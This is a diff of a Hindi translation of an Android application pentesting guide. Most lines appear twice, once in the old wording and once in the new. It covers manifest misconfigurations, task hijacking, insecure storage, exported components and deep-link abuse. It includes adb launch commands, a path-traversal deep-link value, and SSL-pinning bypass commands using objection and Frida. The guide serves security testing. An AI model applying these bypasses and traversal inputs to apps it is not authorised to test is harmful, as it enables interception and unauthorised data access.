- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में डिबग करने योग्य (`debuggable="true"`) के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशनों का शोषण कैसे करें, इस पर एक ट्यूटोरियल के लिए देखें।
- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में डिबग करने योग्य (`debuggable="true"`) के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशनों का शोषण कैसे करें, इस पर एक ट्यूटोरियल के लिए संदर्भित करें।
- **Backup Settings**: संवेदनशील जानकारी से निपटने वाली एप्लिकेशनों के लिए `android:allowBackup="false"` विशेष रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा बैकअप को रोका जा सके, विशेष रूप से जब usb डिबगिंग सक्षम हो।
- **Network Security**: _res/xml/_ में कस्टम नेटवर्क सुरक्षा कॉन्फ़िगरेशन (`android:networkSecurityConfig="@xml/network_security_config"`) सुरक्षा विवरण जैसे प्रमाणपत्र पिन और HTTP ट्रैफ़िक सेटिंग्स निर्दिष्ट कर सकते हैं। एक उदाहरण विशेष डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना है।
- **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जो दुरुपयोग के लिए संवेदनशील हो सकते हैं। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए।
- **Content Providers and FileProviders**: उजागर सामग्री प्रदाता अनधिकृत पहुंच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी जांच की जानी चाहिए।
- **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL स्कीमों के प्रबंधन पर ध्यान दिया जाना चाहिए
- **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL योजनाओं के प्रबंधन के तरीके पर ध्यान देने के साथ
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` विशेषताएँ समर्थित Android संस्करणों को इंगित करती हैं, सुरक्षा कारणों से पुराने, कमजोर Android संस्करणों का समर्थन न करने के महत्व को उजागर करती हैं।
**strings.xml** फ़ाइल से संवेदनशील जानकारी जैसे API कुंजी, कस्टम स्कीमा, और अन्य डेवलपर नोट्स का पता लगाया जा सकता है, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करता है
**strings.xml** फ़ाइल से, संवेदनशील जानकारी जैसे API कुंजी, कस्टम स्कीमा, और अन्य डेवलपर नोट्स खोजे जा सकते हैं, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करते हैं
### Tapjacking
**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **एप्लिकेशन** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता इसके साथ बातचीत करने के लिए धोखा ा जाए, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\
**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **एप्लिकेशन** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जाए, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\
इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**
अधिक जानकारी के लिए देखें:
@ -98,11 +98,11 @@ APK के **strings** पर नज़र डालकर आप **पासव
tapjacking.md
{{#endref}}
### टास्क हाईजैकिंग
### कार्य हाइजैकिंग
एक **गतिविधि** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, टास्क हाईजैकिंग के लिए संवेदनशील है। इसका मतलब है कि एक **एप्लिकेशन** स्थापित किया जा सकता है और यदि इसे असली एप्लिकेशन से पहले लॉन्च किया जाता है तो यह **असली एप्लिकेशन के कार्य को हाईजैक कर सकता है** (इसलिए उपयोगकर्ता **दुष्ट एप्लिकेशन के साथ बातचीत कर रहा होगा यह सोचते हुए कि वह असली का उपयोग कर रहा है**)
एक **गतिविधि** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, कार्य हाइजैकिंग के लिए संवेदनशील है। इसका मतलब है कि एक **एप्लिकेशन** स्थापित किया जा सकता है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाइजैक कर सकता है** (इसलिए उपयोगकर्ता **दुष्ट एप्लिकेशन के साथ बातचीत कर रहा होगा, सोचते हुए कि वह असली का उपयोग कर रहा है**).
अधिक जानकारी के लिए देखें:
अधिक जानकारी के लिए:
{{#ref}}
android-task-hijacking.md
@ -112,7 +112,7 @@ android-task-hijacking.md
**आंतरिक भंडारण**
Android में, फ़ाइलें **आंतरिक** भंडारण में **स्टोर की गई** होती हैं ताकि केवल **ऐप** जो उन्हें **बनाता है** उन्हें **एक्सेस** किया जा सके। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **लागू** किया जाता है और सामान्यतः अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए पर्याप्त होता है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **शेयर** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **सीमित नहीं करते**, जिसमें संभावित रूप से दुष्ट एप्लिकेशन भी शामिल हैं।
Android में, फ़ाइलें **आंतरिक** भंडारण में **स्टोर की गई** होती हैं ताकि केवल वही **ऐप** जो उन्हें **बनाता है, उन्हें **एक्सेस** कर सके। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **लागू** किया गया है और अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **शेयर** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **सीमित नहीं करते**, जिसमें संभावित रूप से दुष्ट एप्लिकेशन भी शामिल हैं।
1. **स्थैतिक विश्लेषण:**
- **सुनिश्चित करें** कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **ध्यानपूर्वक जांचा गया है**। ये मोड फ़ाइलों को **अनपेक्षित या अनधिकृत पहुंच** के लिए **खुला** कर सकते हैं।
@ -121,24 +121,24 @@ Android में, फ़ाइलें **आंतरिक** भंडार
**बाहरी भंडारण**
**बाहरी भंडारण** पर फ़ाइलों के साथ काम करते समय, कुछ सावधानियाँ बरतनी चाहिए:
**बाहरी भंडारण** पर फ़ाइलों से निपटने के दौरान, कुछ सावधानियाँ बरतनी चाहिए:
1. **पहुँच**:
- बाहरी भंडारण पर फ़ाइलें **वैश्विक रूप से पढ़ने और लिखने योग्य** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है।
2. **सुरक्षा चिंताएँ**:
- पहुँच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को बाहरी भंडारण पर न रखा जाए
- पहुँच की आसानी को देखते हुए, **संवेदनशील जानकारी** को बाहरी भंडारण पर **स्टोर न करने** की सलाह दी जाती है
- बाहरी भंडारण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है।
3. **बाहरी भंडारण से डेटा को संभालना**:
- हमेशा बाहरी भंडारण से प्राप्त डेटा पर **इनपुट मान्यता** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है।
- गतिशील लोडिंग के लिए बाहरी भंडारण पर निष्पादन योग्य या क्लास फ़ाइलें स्टोर करना दृढ़ता से हतोत्साहित किया जाता है।
- गतिशील लोडिंग के लिए बाहरी भंडारण पर निष्पादन योग्य या क्लास फ़ाइलों को स्टोर करना दृढ़ता से हतोत्साहित किया जाता है।
- यदि आपकी एप्लिकेशन को बाहरी भंडारण से निष्पादन योग्य फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **हस्ताक्षरित और क्रिप्टोग्राफिक रूप से सत्यापित** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है।
बाहरी भंडारण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **एक्सेस** किया जा सकता है।
> [!TIP]
> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **एक ऐप से उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह दुष्ट एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुँच प्राप्त करने से रोकता है।
> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **किसी ऐप को उस निर्देशिका तक पहुँचने की अनुमति देती है जो विशेष रूप से उस ऐप के लिए है**। यह दुष्ट एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुँच प्राप्त करने से रोकता है।
**स्पष्ट-टेक्स्ट में संग्रहीत संवेदनशील डेटा**
**स्पष्ट-टेक्स्ट में संवेदनशील डेटा स्टोर किया गया**
- **Shared preferences**: Android प्रत्येक एप्लिकेशन को `/data/data/<packagename>/shared_prefs/` पथ में xml फ़ाइलें आसानी से सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट-टेक्स्ट में संवेदनशील जानकारी मिल सकती है।
- **Databases**: Android प्रत्येक एप्लिकेशन को `/data/data/<packagename>/databases/` पथ में sqlite डेटाबेस को आसानी से सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट-टेक्स्ट में संवेदनशील जानकारी मिल सकती है।
@ -167,9 +167,9 @@ A good way to test this is to try to capture the traffic using some proxy like B
### Other checks
- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो जाए।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखन चाहिए कि मोबाइल रूटेड है या नहीं** और इसके अनुसार कार्य करना चाहिए।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे देखना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **execute करने से पहले अपनी अखंडता की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखने के लिए अपने स्वयं के checks** करने चाहिए कि मोबाइल रूटेड है या नहीं और इसके अनुसार कार्य करना चाहिए।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे जांचना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **execute करने से पहले अपनी स्वयं की अखंडता की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है।
- [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि APK बनाने के लिए कौन सा कंपाइलर/पैकर/obfuscator का उपयोग किया गया था।
### React Native Application
@ -291,7 +291,7 @@ Android का **clipboard-based** ढांचा ऐप्स में कॉ
**Crash Logs**
यदि एक एप्लिकेशन **crash** होता है और **logs** सहेजता है, तो ये लॉग हमलावरों की मदद कर सकते हैं, विशेष रूप से जब एप्लिकेशन को रिवर्स-इंजीनियर नहीं किया जा सकता। इस जोखिम को कम करने के लिए, क्रैश पर लॉगिंग से बचें, और यदि लॉग को नेटवर्क के माध्यम से भेजना आवश्यक है, तो सुनिश्चित करें कि उन्हें सुरक्षा के लिए SSL चैनल के माध्यम से भेजा जाए।
यदि एक एप्लिकेशन **crash** होता है और **logs** सहेजता है, तो ये लॉग हमलावरों की मदद कर सकते हैं, विशेष रूप से जब एप्लिकेशन को रिवर्स-इंजीनियर नहीं किया जा सकता। इस जोखिम को कम करने के लिए, क्रैश पर लॉगिंग से बचें, और यदि लॉग को नेटवर्क के माध्यम से भेजा जाना चाहिए, तो सुनिश्चित करें कि उन्हें सुरक्षा के लिए SSL चैनल के माध्यम से भेजा जाए।
As pentester, **try to take a look to these logs**.
@ -331,14 +331,14 @@ You can also start an exported activity from adb:
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को एक गतिविधि में `android:launchMode` के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरन है
**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को `android:launchMode` में एक गतिविधि के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरन है
> [!TIP]
> ध्यान दें कि एक प्राधिकरण बायपास हमेशा एक कमजोर बिंदु नहीं होता है, यह इस पर निर्भर करेगा कि बायपास कैसे काम करता है और कौन सी जानकारी उजागर होती है।
> ध्यान दें कि एक प्राधिकरण बायपास हमेशा एक भेद्यता नहीं होती है, यह इस पर निर्भर करेगा कि बायपास कैसे काम करता है और कौन सी जानकारी उजागर होती है।
**संवेदनशील जानकारी का रिसाव**
**गतिविधियाँ परिणाम भी लौटा सकती हैं**। यदि आप एक निर्यातित और अप्रोटेक्टेड गतिविधि को खोजने में सफल होते हैं जो **`setResult`** विधि को कॉल करती है और **संवेदनशील जानकारी** लौटाती है, तो यह संवेदनशील जानकारी का रिसाव है।
**गतिविधियाँ भी परिणाम लौटा सकती हैं**। यदि आप एक निर्यातित और असुरक्षित गतिविधि को खोजने में सफल होते हैं जो **`setResult`** विधि को कॉल करती है और **संवेदनशील जानकारी** लौटाती है, तो यह संवेदनशील जानकारी का रिसाव है।
#### Tapjacking
@ -347,7 +347,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
### सामग्री प्रदाताओं का शोषण - संवेदनशील जानकारी तक पहुँच और हेरफेर
[**यदि आप सामग्री प्रदाता क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#content-provider)\
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा **निकालने** में सक्षम हो सकते हैं। यह भी **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करने के लिए दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा निकालने में सक्षम हो सकते हैं। यह भी संभावित **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करने के लिए दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
[**Drozer के साथ सामग्री प्रदाताओं का शोषण करना सीखें।**](drozer-tutorial/index.html#content-providers)
@ -356,7 +356,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
[**यदि आप सेवा क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#services)\
याद रखें कि एक सेवा की क्रियाएँ `onStartCommand` विधि में शुरू होती हैं।
एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **एक प्रतिक्रिया** (या नहीं) **लौटा सकता है**। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **प्रतिक्रिया** (या नहीं) लौटाता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
[**Drozer के साथ सेवाओं का शोषण करना सीखें।**](drozer-tutorial/index.html#services)
### **ब्रॉडकास्ट रिसीवर्स का शोषण**
@ -369,19 +369,19 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
### **स्कीमों / डीप लिंक का शोषण**
आप मैन्युअल रूप से गहरे लिंक की तलाश कर सकते हैं, MobSF जैसे उपकरणों या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
आप मैन्युअल रूप से गहरे लिंक की तलाश कर सकते हैं, MobSF जैसे उपकरणों का उपयोग करके या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
आप **adb** या एक **ब्राउज़र** का उपयोग करके एक घोषित **स्कीम** को **खोल** सकते हैं:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_ध्यान दें कि आप **पैकेज नाम को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._
_ध्यान दें कि आप **पैकेज नाम को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए_
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**कोड निष्पादित किया गया**
**कोड निष्पादित**
**ऐप में निष्पादित होने वाले कोड** को खोजने के लिए, उस गतिविधि पर जाएं जिसे डीप लिंक द्वारा बुलाया गया है और फ़ंक्शन **`onNewIntent`** को खोजें।
@ -393,7 +393,7 @@ _ध्यान दें कि आप **पैकेज नाम को छ
**पैरामीटर पथ में**
आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर क पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप एक पथ यात्रा को मजबूर कर सकते हैं जैसे: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर िसी पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप पथ यात्रा को मजबूर कर सकते हैं और कुछ इस तरह पहुंच सकते हैं: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **ओपन रीडायरेक्ट** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है।
**अधिक उदाहरण**
@ -402,7 +402,7 @@ _ध्यान दें कि आप **पैकेज नाम को छ
### ट्रांसपोर्ट लेयर निरीक्षण और सत्यापन विफलताएँ
- **प्रमाणपत्रों की हमेशा सही तरीके से जांच नहीं की जाती** Android एप्लिकेशनों द्वारा। इन एप्लिकेशनों के लिए चेतावनियों की अनदेखी करना और स्व-हस्ताक्षरित प्रमाणपत्रों को स्वीकार करना या, कुछ मामलों में, HTTP कनेक्शन का उपयोग करना सामान्य है।
- **Android एप्लिकेशन द्वारा प्रमाणपत्रों की हमेशा सही तरीके से जांच नहीं की जाती है।** इन एप्लिकेशनों के लिए चेतावनियों की अनदेखी करना और स्व-हस्ताक्षरित प्रमाणपत्रों को स्वीकार करना या कुछ मामलों में HTTP कनेक्शन का उपयोग करना सामान्य है।
- **SSL/TLS हैंडशेक के दौरान बातचीत कभी-कभी कमजोर होती है**, असुरक्षित सिफर सूट का उपयोग करते हुए। यह कमजोरी कनेक्शन को मैन-इन-द-मिडल (MITM) हमलों के प्रति संवेदनशील बनाती है, जिससे हमलावर डेटा को डिक्रिप्ट कर सकते हैं।
- **निजी जानकारी का लीक होना** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संचार करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से बचाने में विफल रहता है।
@ -412,13 +412,13 @@ _ध्यान दें कि आप **पैकेज नाम को छ
#### SSL पिनिंग
SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करत है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है।
SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करत है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है।
#### ट्रैफ़िक निरीक्षण
HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल के प्रमाणपत्र को स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता है। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)।
**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िगरेशन में संशोधन की आवश्यकता होती है। यह कदम एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िगरेशन को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल**](make-apk-accept-ca-certificate.md) को देखें।
**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िगरेशन में संशोधन की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िगरेशन को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल**](make-apk-accept-ca-certificate.md) को देखें।
यदि **Flutter** का उपयोग किया जा रहा है, तो आपको [**इस पृष्ठ**](flutter.md) में दिए गए निर्देशों का पालन करना होगा। इसका कारण यह है कि, केवल स्टोर में प्रमाणपत्र जोड़ने से काम नहीं चलेगा क्योंकि Flutter की अपनी मान्य CAs की सूची है।
@ -428,9 +428,9 @@ HTTP ट्रैफ़िक का निरीक्षण करने क
- स्वचालित रूप से **apk को संशोधित करें** ताकि **SSL पिनिंग को बायपास** किया जा सके [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग को बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा।
- आप **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई) इस सुरक्षा को बायपास करने के लिए। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- आप **objection** का उपयोग करके **स्वचालित रूप से SSL पिनिंग को बायपास** करने की कोशिश कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके **स्वचालित रूप से SSL पिनिंग को बायपास** करने की कोशिश कर सकते हैं (नीचे समझाया गया)
- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने**ी कोशिश कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- आप **objection** का उपयोग करके **SSL पिनिंग को स्वचालित रूप से बायपास** करने का प्रयास कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके **SSL पिनिंग को स्वचालित रूप से बायपास** करने का प्रयास कर सकते हैं (नीचे समझाया गया)
- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने**ा प्रयास कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### सामान्य वेब कमजोरियों की खोज
@ -439,20 +439,20 @@ HTTP ट्रैफ़िक का निरीक्षण करने क
### Frida
[Frida](https://www.frida.re) डेवलपर्स, रिवर्स-इंजीनियर्स और सुरक्षा शोधकर्ताओं के लिए एक डायनामिक इंस्ट्रुमेंटेशन टूलकिट है।\
**आप चल रहे एप्लिकेशन तक पहुच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\
**आप चल रहे एप्लिकेशन तक पहुच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\
यदि आप Android एप्लिकेशनों का परीक्षण करना चाहते हैं, तो आपको Frida का उपयोग करना सीखना होगा।
- Frida का उपयोग कैसे करें: [**Frida ट्यूटोरियल**](frida-tutorial/index.html)
- Frida के साथ क्रियाओं के लिए कुछ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection Frida के उपयोग को स्वचालित करने के लिए शानदार है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- आप यहाँ कुछ शानदार Frida स्क्रिप्ट्स पा सकते हैं: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
